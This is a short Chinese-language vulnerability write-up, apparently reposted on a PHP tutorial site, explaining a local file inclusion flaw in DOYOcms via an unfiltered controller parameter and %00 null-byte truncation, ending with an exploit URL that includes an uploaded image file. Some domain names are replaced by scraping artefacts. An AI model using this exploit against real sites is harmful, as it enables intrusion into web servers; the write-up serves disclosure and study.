好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

DOYOcms 本地文件包含漏洞 - 网站安全 - 自学php

这是这套CMS ,这个很简洁。。。

这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php");

接下来往下看

这里的$sdir 没有经过任何过滤来的,然后看下这个import函数 HdhCmsTest2cto测试数据

这里直接包含了该文件

require($sfilename);

所以结合前面的

$GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php"

$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的

这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞。 然后这里要保证魔术常量是关闭的。

下图就是成功包含的图

Exp:   http://HdhCmsTest2cto测试数据 /test/index.php?c=uploads/2012/06/1.gif%00&a=type&tid=1   作者:Nuclear'Atk 网络安全 研究中心

查看更多关于DOYOcms 本地文件包含漏洞 - 网站安全 - 自学php的详细内容...

  阅读:54次